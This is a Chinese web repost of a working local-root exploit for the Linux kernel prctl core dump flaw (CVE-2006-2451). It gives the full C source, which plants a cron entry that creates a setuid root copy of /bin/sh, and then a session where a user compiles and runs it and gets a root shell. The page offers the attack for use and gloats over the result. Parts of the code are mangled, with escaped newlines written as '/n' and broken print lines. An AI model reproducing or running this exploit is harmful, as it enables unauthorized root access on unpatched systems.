Linux Kernel PRCTL Core Dump Handling本地溢出代码

来源:互联网 发布:sql数据库置疑修复工具 编辑:程序博客网 时间:2024/05/01 00:22
 有漏洞的内核:(Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4))
代码如下:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
    printf("By: dreyer & RoMaNSoFt/n");
    printf("[ 10.Jul.2006 ]/n/n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("
  • Creating Cron entry/n");

        if ( !( child = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }

        kill(child, SIGSEGV);

        printf("
  • Sleeping for aprox. one minute (** please wait **)/n");
        sleep(62);

        printf("
  • Running shell (remember to remove /tmp/sh when finished) .../n");
        system("/tmp/sh -p");
    }

    实验过程如下:
    [choatrue@localhost ~]$ uname -a
    Linux localhost 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
    [choatrue@localhost ~]$ vi a.c
    #include <sys/time.h>
    #include <sys/resource.h>
    #include <unistd.h>
    #include <linux/prctl.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>

    char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

    int main() {
        int child;
        struct rlimit corelimit;
        printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
        printf("By: dreyer & RoMaNSoFt/n");
        printf("[ 10.Jul.2006 ]/n/n");

        corelimit.rlim_cur = RLIM_INFINITY;
        corelimit.rlim_max = RLIM_INFINITY;
        setrlimit(RLIMIT_CORE, &corelimit);

        printf("
  • Creating Cron entry/n");

        if ( !( child = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }

        kill(child, SIGSEGV);

        printf("
  • Sleeping for aprox. one minute (** please wait **)/n");
        sleep(62);

        printf("
  • Running shell (remember to remove /tmp/sh when finished) .../n");
        system("/tmp/sh -p");
    }

    "a.c" [新] 51L, 1684C 已写入                                                                                                               
    [choatrue@localhost ~]$ gcc -o a a.c
    [choatrue@localhost ~]$ id
    uid=501(choatrue) gid=501(choatrue) groups=501(choatrue) context=user_u:system_r:unconfined_t
    [choatrue@localhost ~]$ ./a
    Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
    By: dreyer & RoMaNSoFt
    [ 10.Jul.2006 ]

  • Creating Cron entry
  • Sleeping for aprox. one minute (** please wait **)
  • Running shell (remember to remove /tmp/sh when finished) ...
    sh-3.1# whoami
    root
    sh-3.1# id
    uid=501(choatrue) gid=501(choatrue) euid=0(root) groups=501(choatrue) context=user_u:system_r:unconfined_t
    sh-3.1#

    HOHO,爽了吧。。。
  • 原创粉丝点击